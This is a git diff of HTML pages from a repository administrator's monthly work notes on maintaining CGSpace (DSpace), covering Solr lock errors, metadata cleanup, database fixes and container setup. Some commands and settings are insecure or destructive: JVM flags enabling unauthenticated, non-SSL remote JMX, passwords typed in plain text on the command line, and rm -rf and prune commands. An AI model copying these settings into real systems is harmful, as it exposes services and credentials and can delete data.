statistics-2018: org.apache.solr.common.SolrException:org.apache.solr.common.SolrException: Error opening new searcher 
+
    +
  • I had to restart Tomcat a few times for all the stats cores to get loaded with no issue
    • +
+

2019-06-10

+
    +
  • Rename the AReS repository on GitHub to OpenRXV: https://github.com/ilri/OpenRXV
    • +
  • Create a new AReS repository: https://github.com/ilri/AReS
    • +
  • Start looking at the 203 IITA records on DSpace Test from last month (IITA_May_16 aka “20194th.xls”) using OpenRefine +
      +
    • Trim leading, trailing, and consecutive whitespace on all columns, but I didn’t notice very many issues
      • +
    • Validate affiliations against latest list of top 1500 terms using reconcile-csv, correcting and standardizing about twenty-seven
      • +
    • Validate countries against latest list of countries using reconcile-csv, correcting three
      • +
    • Convert all DOIs to “https://dx.doi.org” format
      • +
    • Normalize all cg.identifier.url Google book fields to “books.google.com”
      • +
    • Correct some inconsistencies in IITA subjects
      • +
    • Correct two incorrect “Peer Review” in dc.description.version
      • +
    • About fifteen items have incorrect ISBNs (looks like an Excel error because the values look like scientific numbers)
      • +
    • Delete one blank item
      • +
    • I managed to get to subjects, so I’ll continue from there when I start working next
      • +
    +
    • +
  • Generate a new list of countries from the database for use with reconcile-csv +
      +
    • After dumping, use csvcut to add line numbers, then change the csv header to match those you use in reconcile-csv, for example id and name:
      • +
    +
    • +
+
dspace=# \COPY (SELECT DISTINCT text_value, count(*) FROM metadatavalue WHERE metadata_field_id = 228 AND resource_type_id = 2 GROUP BY text_value ORDER BY count DESC) to /tmp/countries.csv WITH CSV HEADER
+COPY 192
+$ csvcut -l -c 0 /tmp/countries.csv > 2019-06-10-countries.csv
+
    +
  • Get a list of all the unique AGROVOC subject terms in IITA’s data and export it to a text file so I can validate them with my agrovoc-lookup.py script:
    • +
+
$ csvcut -c dc.subject ~/Downloads/2019-06-10-IITA-20194th-Round-2.csv| sed 's/||/\n/g' | grep -v dc.subject | sort -u > iita-agrovoc.txt
+$ ./agrovoc-lookup.py -i iita-agrovoc.txt -om iita-agrovoc-matches.txt -or iita-agrovoc-rejects.txt
+$ wc -l iita-agrovoc*
+  402 iita-agrovoc-matches.txt
+   29 iita-agrovoc-rejects.txt
+  431 iita-agrovoc.txt
+
    +
  • Combine these IITA matches with the subjects I matched a few months ago:
    • +
+
$ csvcut -c name 2019-03-18-subjects-matched.csv | grep -v name | cat - iita-agrovoc-matches.txt | sort -u > 2019-06-10-subjects-matched.txt
+
    +
  • Then make a new list to use with reconcile-csv by adding line numbers with csvcut and changing the line number header to id:
    • +
+
$ csvcut -c name -l 2019-06-10-subjects-matched.txt | sed 's/line_number/id/' > 2019-06-10-subjects-matched.csv
+

2019-06-20

+
    +
  • Share some feedback about AReS v2 with the colleagues and encourage them to do the same
    • +
+

2019-06-23

+ +
$ podman pull docker.io/library/postgres:9.6-alpine
+$ podman rm dspacedb
+$ podman run --name dspacedb -v dspacedb_data:/var/lib/postgresql/data -e POSTGRES_PASSWORD=postgres -p 5432:5432 -d postgres:9.6-alpine
+

2019-06-25

+
    +
  • Normalize text_lang values for metadata on DSpace Test and CGSpace:
    • +
+
dspace=# UPDATE metadatavalue SET text_lang='en_US' WHERE resource_type_id=2 AND metadata_field_id != 28 AND text_lang IN ('ethnob', 'en', '*', 'E.', '');
+UPDATE 1551
+dspace=# UPDATE metadatavalue SET text_lang='en_US' WHERE resource_type_id=2 AND metadata_field_id != 28 AND text_lang IS NULL;
+UPDATE 2070
+dspace=# UPDATE metadatavalue SET text_lang='es_ES' WHERE resource_type_id=2 AND metadata_field_id != 28 AND text_lang IN ('es', 'spa');
+UPDATE 2
+
    +
  • Upload 202 IITA records from earlier this month (20194th.xls) to CGSpace
    • +
  • Communicate with Bioversity contractor in charge of their migration from Typo3 to CGSpace
    • +
+

2019-06-28

+
    +
  • Start looking at the fifty-seven AfricaRice records sent by Ibnou earlier this month +
      +
    • First, I see there are several items with type “Book” and “Book Chapter” should go in an “AfricaRice books and book chapters” collection, but none exists in the AfricaRice community
      • +
    • Trim and collapse consecutive whitespace on author, affiliation, authorship types, title, subjects, doi, issn, source, citation, country, sponsors
      • +
    • Standardize and correct affiliations like “Africa Rice Cente” and “Africa Rice Centre”, including syntax errors with multi-value separators
      • +
    • Lots of variation in affiliations, for example: +
        +
      • Université Abomey-Calavi
        • +
      • Université d’Abomey
        • +
      • Université d’Abomey Calavi
        • +
      • Université d’Abomey-Calavi
        • +
      • University of Abomey-Calavi
        • +
      +
      • +
    • Validate and normalize affiliations against our 2019-04 list using reconcile-csv and OpenRefine: +
        +
      • $ lein run ~/src/git/DSpace/2019-04-08-affiliations.csv name id
        • +
      • I always forget how to copy the reconciled values in OpenRefine, but you need to make a new colume and populate it using this GREL: if(cell.recon.matched, cell.recon.match.name, value)
        • +
      +
      • +
    • Replace smart quotes with standard ASCII ones
      • +
    • Fix typos in authoriship types
      • +
    • Validate and normalize subjects against our 2019-06 list using reconcile-csv and OpenRefine: +
        +
      • $ lein run ~/src/git/DSpace/2019-06-10-subjects-matched.csv name id
        • +
      • Also add about 30 new AGROVOC subjects to our list that I verified manually
        • +
      +
      • +
    • There is one duplicate, both have the same DOI: https://doi.org/10.1016/j.agwat.2018.06.018
      • +
    • Fix four ISBNs that were in the ISSN field
      • +
    +
    • +
+

2019-06-30

+
    +
  • Upload fifty-seven AfricaRice records to DSpace Test +
      +
    • I created the SAF bundler with SAFBuilder and then imported via the CLI:
      • +
    +
    • +
+
$ dspace import -a -e me@cgiar.org -m 2019-06-30-AfricaRice-11to73.map -s /tmp/2019-06-30-AfricaRice-11to73
+
    +
  • I sent feedback about a few missing PDFs and one duplicate to Ibnou to check
    • +
  • Run all system updates on DSpace Test (linode19) and reboot it
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2019-07/index.html b/docs/2019-07/index.html new file mode 100644 index 000000000..78fafa378 --- /dev/null +++ b/docs/2019-07/index.html @@ -0,0 +1,608 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + July, 2019 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

July, 2019

+

+ + in + Notes + + +

+
+

2019-07-01

+
    +
  • Create an “AfricaRice books and book chapters” collection on CGSpace for AfricaRice
    • +
  • Last month Sisay asked why the following “most popular” statistics link for a range of months in 2018 works for the CIAT community on DSpace Test, but not on CGSpace: + +
    • +
  • Abenet had another similar issue a few days ago when trying to find the stats for 2018 in the RTB community
    • +
+
    +
  • If I change the parameters to 2019 I see stats, so I’m really thinking it has something to do with the sharded yearly Solr statistics cores +
      +
    • I checked the Solr admin UI and I see all Solr cores loaded, so I don’t know what it could be
      • +
    • When I check the Atmire content and usage module it seems obvious that there is a problem with the old cores because I dont have anything before 2019-01
      • +
    +
    • +
+

Atmire CUA 2018 stats missing

+
    +
  • I don’t see anyone logged in right now so I’m going to try to restart Tomcat and see if the stats are accessible after Solr comes back up
    • +
  • I decided to run all system updates on the server (linode18) and reboot it +
      +
    • After rebooting Tomcat came back up, but the the Solr statistics cores were not all loaded
      • +
    • The error is always (with a different core):
      • +
    +
    • +
+
org.apache.solr.common.SolrException: Error CREATEing SolrCore 'statistics-2010': Unable to create core [statistics-2010] Caused by: Lock obtain timed out: NativeFSLock@/home/cgspace.cgiar.org/solr/statistics-2010/data/index/write.lock
+
    +
  • I restarted Tomcat ten times and it never worked…
    • +
  • I tried to stop Tomcat and delete the write locks:
    • +
+
# systemctl stop tomcat7
+# find /dspace/solr/statistics* -iname "*.lock" -print -delete
+/dspace/solr/statistics/data/index/write.lock
+/dspace/solr/statistics-2010/data/index/write.lock
+/dspace/solr/statistics-2011/data/index/write.lock
+/dspace/solr/statistics-2012/data/index/write.lock
+/dspace/solr/statistics-2013/data/index/write.lock
+/dspace/solr/statistics-2014/data/index/write.lock
+/dspace/solr/statistics-2015/data/index/write.lock
+/dspace/solr/statistics-2016/data/index/write.lock
+/dspace/solr/statistics-2017/data/index/write.lock
+/dspace/solr/statistics-2018/data/index/write.lock
+# find /dspace/solr/statistics* -iname "*.lock" -print -delete
+# systemctl start tomcat7
+
    +
  • But it still didn’t work!
    • +
  • I stopped Tomcat, deleted the old locks, and will try to use the “simple” lock file type in solr/statistics/conf/solrconfig.xml:
    • +
+
<lockType>${solr.lock.type:simple}</lockType>
+
    +
  • And after restarting Tomcat it still doesn’t work
    • +
  • Now I’ll try going back to “native” locking with unlockAtStartup:
    • +
+
<unlockOnStartup>true</unlockOnStartup>
+
    +
  • Now the cores seem to load, but I still see an error in the Solr Admin UI and I still can’t access any stats before 2018
    • +
  • I filed an issue with Atmire, so let’s see if they can help
    • +
  • And since I’m annoyed and it’s been a few months, I’m going to move the JVM heap settings that I’ve been testing on DSpace Test to CGSpace
    • +
  • The old ones were:
    • +
+
-Djava.awt.headless=true -Xms8192m -Xmx8192m -XX:+UseConcMarkSweepGC -Dfile.encoding=UTF-8 -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=5400 -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false
+
    +
  • And the new ones come from Solr 4.10.x’s startup scripts:
    • +
+
    -Djava.awt.headless=true
+    -Xms8192m -Xmx8192m
+    -Dfile.encoding=UTF-8
+    -XX:NewRatio=3
+    -XX:SurvivorRatio=4
+    -XX:TargetSurvivorRatio=90
+    -XX:MaxTenuringThreshold=8
+    -XX:+UseConcMarkSweepGC
+    -XX:+UseParNewGC
+    -XX:ConcGCThreads=4 -XX:ParallelGCThreads=4
+    -XX:+CMSScavengeBeforeRemark
+    -XX:PretenureSizeThreshold=64m
+    -XX:+UseCMSInitiatingOccupancyOnly
+    -XX:CMSInitiatingOccupancyFraction=50
+    -XX:CMSMaxAbortablePrecleanTime=6000
+    -XX:+CMSParallelRemarkEnabled
+    -XX:+ParallelRefProcEnabled
+    -Dcom.sun.management.jmxremote
+    -Dcom.sun.management.jmxremote.port=1337
+    -Dcom.sun.management.jmxremote.ssl=false
+    -Dcom.sun.management.jmxremote.authenticate=false
+

2019-07-02

+
    +
  • Help upload twenty-seven posters from the 2019-05 Sharefair to CGSpace +
      +
    • Sisay had already done the SAFBundle so I did some minor corrections to and uploaded them to a temporary collection so I could check them in OpenRefine:
      • +
    +
    • +
+
$ sed -i 's/CC-BY 4.0/CC-BY-4.0/' item_*/dublin_core.xml
+$ echo "10568/101992" >> item_*/collections
+$ dspace import -a -e me@cgiar.org -m 2019-07-02-Sharefair.map -s /tmp/Sharefair_mapped
+
    +
  • I noticed that all twenty-seven items had double dates like “2019-05||2019-05” so I fixed those, but the rest of the metadata looked good so I unmapped them from the temporary collection
    • +
  • Finish looking at the fifty-six AfricaRice items and upload them to CGSpace:
    • +
+
$ dspace import -a -e me@cgiar.org -m 2019-07-02-AfricaRice-11to73.map -s /tmp/SimpleArchiveFormat
+
    +
  • Peter pointed out that the Sharefair dates I fixed were not actually fixed +
      +
    • It seems there is a bug that causes DSpace to not detect changes if the values are the same like “2019-05||2019-05” and you try to remove one
      • +
    • To get it to work I had to change some of them to 2019-01, then remove them
      • +
    +
    • +
+

2019-07-03

+
    +
  • Atmire responded about the Solr issue and said they would be willing to help
    • +
+

2019-07-04

+
    +
  • Maria Garruccio sent me some new ORCID identifiers for Bioversity authors +
      +
    • I combined them with our existing list and then used my resolve-orcids.py script to update the names from ORCID.org:
      • +
    +
    • +
+
$ cat dspace/config/controlled-vocabularies/cg-creator-id.xml /tmp/new-bioversity-orcids.txt | grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort -u > /tmp/2019-07-04-orcid-ids.txt
+$ ./resolve-orcids.py -i /tmp/2019-07-04-orcid-ids.txt -o 2019-07-04-orcid-names.txt -d
+
    +
  • Send and merge a pull request for the new ORCID identifiers (#428)
    • +
  • I created a CSV with some ORCID identifiers that I had seen change so I could update any existing ones in the databse:
    • +
+
cg.creator.id,correct
+"Marius Ekué: 0000-0002-5829-6321","Marius R.M. Ekué: 0000-0002-5829-6321"
+"Mwungu: 0000-0001-6181-8445","Chris Miyinzi Mwungu: 0000-0001-6181-8445"
+"Mwungu: 0000-0003-1658-287X","Chris Miyinzi Mwungu: 0000-0003-1658-287X"
+
    +
  • But when I ran fix-metadata-values.py I didn’t see any changes:
    • +
+
$ ./fix-metadata-values.py -i 2019-07-04-update-orcids.csv -db dspace -u dspace -p 'fuuu' -f cg.creator.id -m 240 -t correct -d
+

2019-07-06

+ +

2019-07-08

+
    +
  • Communicate with Atmire about the Solr statistics cores issue +
      +
    • I suspect we might need to get more disk space on DSpace Test so we can try to replicate the production environment more closely
      • +
    +
    • +
  • Meeting with AgroKnow and CTA about their new ICT Update story telling thing +
      +
    • AgroKnow has developed a React application to display tag clouds based on harvesting metadata and full text from CGSpace items
      • +
    • We discussed how to host it technically, perhaps we purchase a server to run it on and just give AgroKnow guys access
      • +
    +
    • +
  • Playing with the idea of using xsv to do some basic batch quality checks on CSVs, for example to find items that might be duplicates if they have the same DOI or title:
    • +
+
$ xsv frequency --select cg.identifier.doi --no-nulls cgspace_metadata_africaRice-11to73_ay_id.csv | grep -v -E ',1'
+field,value,count
+cg.identifier.doi,https://doi.org/10.1016/j.agwat.2018.06.018,2
+$ xsv frequency --select dc.title --no-nulls cgspace_metadata_africaRice-11to73_ay_id.csv | grep -v -E ',1'         
+field,value,count
+dc.title,Reference evapotranspiration prediction using hybridized fuzzy model with firefly algorithm: Regional case study in Burkina Faso,2
+
    +
  • Or perhaps if DOIs are valid or not (having doi.org in the URL):
    • +
+
$ xsv frequency --select cg.identifier.doi --no-nulls cgspace_metadata_africaRice-11to73_ay_id.csv | grep -v -E 'doi.org'
+field,value,count
+cg.identifier.doi,https://hdl.handle.net/10520/EJC-1236ac700f,1
+
+
$ xsv select dc.identifier.issn cgspace_metadata_africaRice-11to73_ay_id.csv | grep -v '"' | grep -v -E '^[0-9]{4}-[0-9]{3}[0-9xX]$'
+dc.identifier.issn
+978-3-319-71997-9
+978-3-319-71997-9
+978-3-319-71997-9
+978-3-319-58789-9
+2320-7035 
+ 2593-9173
+

2019-07-09

+ +

2019-07-11

+
    +
  • Skype call with Marie Angelique about CG Core v2 +
      +
    • We discussed my comments and suggestions from last week
      • +
    • One comment she had was that we should try to move our center-specific subjects into DCTERMS.subject and normalize them against AGROVOC
      • +
    • I updated my gist about CGSpace metadata changes
      • +
    +
    • +
  • Skype call with Jane Poole to discuss OpenRXV/AReS Phase II TORs +
      +
    • I need to follow up with Moayad about the reporting functionality
      • +
    • Also, I need to email Harrison my notes on the CG Core v2 stuff
      • +
    • Also, Jane asked me to check the Data Portal to see which email address requests for confidential data are going
      • +
    +
    • +
  • Yesterday Theirry from CTA asked me about an error he was getting while submitting an item on CGSpace: “Unable to load Submission Information, since WorkspaceID (ID:S106658) is not a valid in-process submission.”
    • +
  • I looked in the DSpace logs and found this right around the time of the screenshot he sent me:
    • +
+
2019-07-10 11:50:27,433 INFO  org.dspace.submit.step.CompleteStep @ lewyllie@cta.int:session_id=A920730003BCAECE8A3B31DCDE11A97E:submission_complete:Completed submission with id=106658
+
    +
  • I’m assuming something happened in his browser (like a refresh) after the item was submitted…
    • +
+

2019-07-12

+
    +
  • Atmire responded with some initial feedback about our Tomcat configuration related to the Solr issue I raised recently +
      +
    • Unfortunately there is no concrete feedback yet
      • +
    • I think we need to upgrade our DSpace Test server so we can fit all the Solr cores…
      • +
    • Actually, I looked and there were over 40 GB free on DSpace Test so I copied the Solr statistics cores for the years 2017 to 2010 from CGSpace to DSpace Test because they weren’t actually very large
      • +
    • I re-deployed DSpace for good measure, and I think all Solr cores are loading… I will do more tests later
      • +
    +
    • +
  • Run all system updates on DSpace Test (linode19) and reboot it
    • +
  • Try to run dspace cleanup -v on CGSpace and ran into an error:
    • +
+
Error: ERROR: update or delete on table "bitstream" violates foreign key constraint "bundle_primary_bitstream_id_fkey" on table "bundle"
+  Detail: Key (bitstream_id)=(167394) is still referenced from table "bundle".
+
    +
  • The solution is, as always:
    • +
+
# su - postgres
+$ psql dspace -c 'update bundle set primary_bitstream_id=NULL where primary_bitstream_id in (167394);'
+UPDATE 1
+

2019-07-16

+
    +
  • Completely reset the Podman configuration on my laptop because there were some layers that I couldn’t delete and it had been some time since I did a cleanup:
    • +
+
$ podman system prune -a -f --volumes
+$ sudo rm -rf ~/.local/share/containers
+
    +
  • Then pull a new PostgreSQL 9.6 image and load a CGSpace database dump into a new local test container:
    • +
+
$ podman pull postgres:9.6-alpine
+$ podman run --name dspacedb -v dspacedb_data:/var/lib/postgresql/data -e POSTGRES_PASSWORD=postgres -p 5432:5432 -d postgres:9.6-alpine
+$ createuser -h localhost -U postgres --pwprompt dspacetest
+$ createdb -h localhost -U postgres -O dspacetest --encoding=UNICODE dspacetest
+$ psql -h localhost -U postgres dspacetest -c 'alter user dspacetest superuser;'
+$ pg_restore -h localhost -U postgres -d dspacetest -O --role=dspacetest -h localhost ~/Downloads/cgspace_2019-07-16.backup
+$ psql -h localhost -U postgres dspacetest -c 'alter user dspacetest nosuperuser;'                     
+$ psql -h localhost -U postgres -f ~/src/git/DSpace/dspace/etc/postgres/update-sequences.sql dspacetest
+
    +
  • Start working on implementing the CG Core v2 changes on my local DSpace test environment
    • +
  • Make a pull request to CG Core v2 with some fixes for typos in the specification (#5)
    • +
+

2019-07-18

+
    +
  • Talk to Moayad about the remaining issues for OpenRXV / AReS +
      +
    • He sent a pull request with some changes for the bar chart and documentation about configuration, and said he’d finish the export feature next week
      • +
    +
    • +
  • Sisay said a user was having problems registering on CGSpace and it looks like the email account expired again:
    • +
+
$ dspace test-email
+
+About to send test email:
+ - To: blahh@cgiar.org
+ - Subject: DSpace test email
+ - Server: smtp.office365.com
+
+Error sending email:
+ - Error: javax.mail.AuthenticationFailedException
+
+Please see the DSpace documentation for assistance.
+
    +
  • I emailed ICT to ask them to reset it and make the expiration period longer if possible
    • +
+

2019-07-19

+
    +
  • ICT reset the password for the CGSpace support account and apparently removed the expiry requirement +
      +
    • I tested the account and it’s working
      • +
    +
    • +
+

2019-07-20

+
    +
  • Create an account for Lionelle Samnick on CGSpace because the registration isn’t working for some reason:
    • +
+
$ dspace user --add --givenname Lionelle --surname Samnick --email blah@blah.com --password 'blah'
+
    +
  • I added her as a submitter to CTA ISF Pro-Agro series
    • +
  • Start looking at 1429 records for the Bioversity batch import +
      +
    • Multiple authors should be specified with multi-value separatator (||) instead of ;
      • +
    • We don’t use “(eds)” as an author
      • +
    • Same issue with dc.publisher using “;” for multiple values
      • +
    • Some invalid ISSNs in dc.identifier.issn (they look like ISBNs)
      • +
    • I see some ISSNs in the dc.identifier.isbn field
      • +
    • I see some invalid ISBNs that look like Excel errors (9,78E+12)
      • +
    • For DOI we just use the URL, not “DOI: https://doi.org…”
      • +
    • I see an invalid “LEAVE BLANK” in the cg.contributor.crp field
      • +
    • Country field is using “,” for multiple values instead of “||”
      • +
    • Region field is using “,” for multiple values instead of “||”
      • +
    • Language field should be lowercase like “en”, and it is using the wrong multiple value separator, and has some invalid values
      • +
    • What is the cg.identifier.url2 field? You should probably add those as cg.link.reference
      • +
    +
    • +
+

2019-07-22

+ +
    <dct:coverage>
+        <dct:spatial>
+            <type>Country</type>
+            <dct:identifier>http://sws.geonames.org/192950</dct:identifier>
+            <rdfs:label>Kenya</rdfs:label>
+        </dct:spatial>
+    </dct:coverage>
+
    +
  • I left a note saying that DSpace is technically limited to a flat schema so we use cg.coverage.country: Kenya
    • +
  • Do a little more work on CG Core v2 in the input forms
    • +
+

2019-07-25

+
    +
  • +

    Generate a list of the ORCID identifiers that we added to CGSpace in 2019 for Sara Jani at ICARDA

    +
    • +
  • +

    Bioversity sent a new file for their migration to CGSpace

    +
      +
    • There is always a blank row and blank column at the end
      • +
    • One invalid type (Brie)
      • +
    • 824 items with leading/trailing spaces in dc.identifier.citation
      • +
    • 175 items with a trailing comma in dc.identifier.citation (using custom text facet with GREL value.endsWith(',').toString())
      • +
    • Fix them with GREL transform: value.replace(/,$/, '')
      • +
    • A few strange publishers after splitting multi-value cells, like “(Belgium)”
      • +
    • Deleted four ISSNs that are actually ISBNs and are already present in the ISBN field
      • +
    • Eight invalid ISBNs
      • +
    • Convert all DOIs to “https://doi.org” format and fix one invalid DOI
      • +
    • Fix a handful of incorrect CRPs that seem to have been split on comma “,”
      • +
    • Lots of strange values in cg.link.reference, and I normalized all DOIs to https://doi.org format +
        +
      • There are lots of invalid links here, like “36” and “recordlink:publications:2606” and “t3://record?identifier=publications&uid=2606”
        • +
      • Also there are hundreds of items that use the same value for cg.link.reference AND cg.link.dataurl
        • +
      +
      • +
    • Use https:// for all Bioversity links (reference, data url, permalink)
      • +
    +
    • +
  • +

    I might be able to use isbnlib to validate ISBNs in Python:

    +
    • +
+
if isbnlib.is_isbn10('9966-955-07-0') or isbnlib.is_isbn13('9966-955-07-0'):
+    print("Yes")
+else:
+    print("No")
+
+
from stdnum import isbn
+from stdnum import issn
+
+isbn.validate('978-92-9043-389-7')
+issn.validate('1020-3362')
+

2019-07-26

+
    +
  • +

    Bioversity sent me an updated CSV file that fixes some of the issues I pointed out yesterday

    +
      +
    • There are still 1429 records
      • +
    • There are still one extra row and one extra column
      • +
    • There are still eight invalid ISBNs (according to my validate.py script)
      • +
    +
    • +
  • +

    I figured out a GREL to trim spaces in multi-value cells without splitting them:

    +
    • +
+
value.replace(/\s+\|\|/,"||").replace(/\|\|\s+/,"||")
+
    +
  • I whipped up a quick script using Python Pandas to do whitespace cleanup
    • +
+

2019-07-29

+
    +
  • I turned the Pandas script into a proper Python package called csv-metadata-quality +
      +
    • It supports CSV and Excel files
      • +
    • It fixes whitespace errors and erroneous multi-value separators ("|") and validates ISSN, ISBNs, and dates
      • +
    • Also I added a bunch of other checks/fixes for unnecessary and “suspicious” Unicode characters
      • +
    • I added fixes to drop duplicate metadata values
      • +
    • And lastly, I added validation of ISO 639-2 and ISO 639-3 languages
      • +
    • And lastly lastly, I added AGROVOC validation of subject terms
      • +
    +
    • +
  • Inform Bioversity that there is an error in their CSV, seemingly caused by quotes in the citation field
    • +
+

2019-07-30

+
    +
  • Add support for removing newlines (line feeds) to csv-metadata-quality
    • +
  • On the subject of validating some of our fields like countries and regions, Abenet pointed out that these should all be valid AGROVOC terms, so we can actually try to validate against that!
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2019-08/index.html b/docs/2019-08/index.html new file mode 100644 index 000000000..360a54bda --- /dev/null +++ b/docs/2019-08/index.html @@ -0,0 +1,627 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + August, 2019 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

August, 2019

+

+ + in + Notes + + +

+
+

2019-08-03

+
    +
  • Look at Bioversity’s latest migration CSV and now I see that Francesco has cleaned up the extra columns and the newline at the end of the file, but many of the column headers have an extra space in the name…
    • +
+

2019-08-04

+
    +
  • Deploy ORCID identifier updates requested by Bioversity to CGSpace
    • +
  • Run system updates on CGSpace (linode18) and reboot it +
      +
    • Before updating it I checked Solr and verified that all statistics cores were loaded properly…
      • +
    • After rebooting, all statistics cores were loaded… wow, that’s lucky.
      • +
    +
    • +
  • Run system updates on DSpace Test (linode19) and reboot it
    • +
+

2019-08-05

+ +
or(
+  isNotNull(value.match(/^.*’.*$/)),
+  isNotNull(value.match(/^.*é.*$/)),
+  isNotNull(value.match(/^.*á.*$/)),
+  isNotNull(value.match(/^.*è.*$/)),
+  isNotNull(value.match(/^.*í.*$/)),
+  isNotNull(value.match(/^.*ó.*$/)),
+  isNotNull(value.match(/^.*ú.*$/)),
+  isNotNull(value.match(/^.*à.*$/)),
+  isNotNull(value.match(/^.*û.*$/))
+).toString()
+
    +
  • I tried to extract the filenames and construct a URL to download the PDFs with my generate-thumbnails.py script, but there seem to be several paths for PDFs so I can’t guess it properly
    • +
  • I will have to wait for Francesco to respond about the PDFs, or perhaps proceed with a metadata-only upload so we can do other checks on DSpace Test
    • +
+

2019-08-06

+
    +
  • Francesca responded to address my feedback yesterday +
      +
    • I made some changes to the CSV based on her feedback (remove two duplicates, change one PDF file name, change two titles)
      • +
    • Then I found some items that have PDFs in multiple languages that only list one language in dc.language.iso so I changed them
      • +
    • Strangley, one item was referring to a 7zip file…
      • +
    • After removing the two duplicates there are now 1427 records
      • +
    • Fix one invalid ISSN: 1020-2002→1020-3362
      • +
    +
    • +
+

2019-08-07

+
    +
  • Daniel Haile-Michael asked about using a logical OR with the DSpace OpenSearch, but I looked in the DSpace manual and it does not seem to be possible
    • +
+

2019-08-08

+
    +
  • Moayad noticed that the HTTPS certificate expired on the AReS dev server (linode20) +
      +
    • The first problem was that there is a Docker container listening on port 80, so it conflicts with the ACME http-01 validation
      • +
    • The second problem was that we only allow access to port 80 from localhost
      • +
    • I adjusted the renew-letsencrypt systemd service so it stops/starts the Docker container and firewall:
      • +
    +
    • +
+
# /opt/certbot-auto renew --standalone --pre-hook "/usr/bin/docker stop angular_nginx; /bin/systemctl stop firewalld" --post-hook "/bin/systemctl start firewalld; /usr/bin/docker start angular_nginx"
+
    +
  • It is important that the firewall starts back up before the Docker container or else Docker will complain about missing iptables chains
    • +
  • Also, I updated to the latest TLS Intermediate settings as appropriate for Ubuntu 18.04’s OpenSSL 1.1.0g with nginx 1.16.0
    • +
  • Run all system updates on AReS dev server (linode20) and reboot it
    • +
  • Get a list of all PDFs from the Bioversity migration that fail to download and save them so I can try again with a different path in the URL:
    • +
+
$ ./generate-thumbnails.py -i /tmp/2019-08-05-Bioversity-Migration.csv -w --url-field-name url -d | tee /tmp/2019-08-08-download-pdfs.txt
+$ grep -B1 "Download failed" /tmp/2019-08-08-download-pdfs.txt | grep "Downloading" | sed -e 's/> Downloading //' -e 's/\.\.\.//' | sed -r 's/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g' | csvcut -H -c 1,1 > /tmp/user-upload.csv
+$ ./generate-thumbnails.py -i /tmp/user-upload.csv -w --url-field-name url -d | tee /tmp/2019-08-08-download-pdfs2.txt
+$ grep -B1 "Download failed" /tmp/2019-08-08-download-pdfs2.txt | grep "Downloading" | sed -e 's/> Downloading //' -e 's/\.\.\.//' | sed -r 's/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g' | csvcut -H -c 1,1 > /tmp/user-upload2.csv
+$ ./generate-thumbnails.py -i /tmp/user-upload2.csv -w --url-field-name url -d | tee /tmp/2019-08-08-download-pdfs3.txt
+
    +
  • +

    (the weird sed regex removes color codes, because my generate-thumbnails script prints pretty colors)

    +
    • +
  • +

    Some PDFs are uploaded in different paths so I have to try a few times to get them all:

    +
      +
    • /fileadmin/_migrated/uploads/tx_news/
      • +
    • /fileadmin/user_upload/online_library/publications/pdfs/
      • +
    • /fileadmin/user_upload/
      • +
    +
    • +
  • +

    Even so, there are still 52 items with incorrect filenames, so I can’t derive their PDF URLs…

    + +
    • +
  • +

    I will proceed with a metadata-only upload first and then let them know about the missing PDFs

    +
    • +
  • +

    Troubleshoot an issue we had with proxying to the new development version of AReS from DSpace Test (linode19)

    +
      +
    • For some reason the host header in the proxy pass is not set so nginx on DSpace Test makes a request to the upstream nginx on an IP-based virtual host
      • +
    • The upstream nginx returns HTTP 444 because we configured it to not answer when a request does not send a valid hostname
      • +
    • The solution is to set the host header when proxy passing:
      • +
    +
    • +
+
proxy_set_header Host dev.ares.codeobia.com;
+
    +
  • Though I am really wondering why this happened now, because the configuration has been working for months…
    • +
  • Improve the output of the suspicious characters check in csv-metadata-quality script and tag version 0.2.0
    • +
+

2019-08-09

+
    +
  • Looking at the 128 IITA records (20195TH.xls) that Sisay uploadd to DSpace Test last month: IITA_July_29 +
      +
    • The records are pretty clean because Sisay ran them through the csv-metadata-quality tool
      • +
    • I fixed one incorrect country (MELBOURNE)
      • +
    • I normalized all DOIs to be https://doi.org format
      • +
    • This item is using the wrong Google Books link: https://dspacetest.cgiar.org/handle/10568/102593
      • +
    • The French abstract here has copy/paste errors: https://dspacetest.cgiar.org/handle/10568/102491
      • +
    • Validate and normalize affiliations against our 2019-04 list using reconcile-csv and OpenRefine: +
        +
      • $ lein run ~/src/git/DSpace/2019-04-08-affiliations.csv name id
        • +
      • I always forget how to copy the reconciled values in OpenRefine, but you need to make a new colum and populate it using this GREL: if(cell.recon.matched, cell.recon.match.name, value)
        • +
      +
      • +
    • I asked Bosede to check about twenty-five invalid AGROVOC subjects identified by csv-metadata-quality script
      • +
    • I still need to check the sponsors and then check for duplicates
      • +
    +
    • +
+

2019-08-10

+
    +
  • Add checks for uncommon filename extensions and replacements for unneccesary Unicode to the csv-metadata-quality script
    • +
+

2019-08-12

+ +

2019-08-13

+
    +
  • Create a test user on DSpace Test for Mohammad Salem to attempt depositing:
    • +
+
$ dspace user -a -m blah@blah.com -g Mohammad -s Salem -p 'domoamaaa'
+
    +
  • Create and merge a pull request (#429) to add eleven new CCAFS Phase II Project Tags to CGSpace
    • +
  • Atmire responded to the Solr cores issue last week, but they could not reproduce the issue +
      +
    • I told them not to continue, and that we would keep an eye on it and keep troubleshooting it (if neccessary) in the public eye on dspace-tech and Solr mailing lists
      • +
    +
    • +
  • Testing an import of 1,429 Bioversity items (metadata only) on my local development machine and got an error with Java memory after about 1,000 items:
    • +
+
$ ~/dspace/bin/dspace metadata-import -f /tmp/bioversity.csv -e blah@blah.com
+...
+java.lang.OutOfMemoryError: GC overhead limit exceeded
+
    +
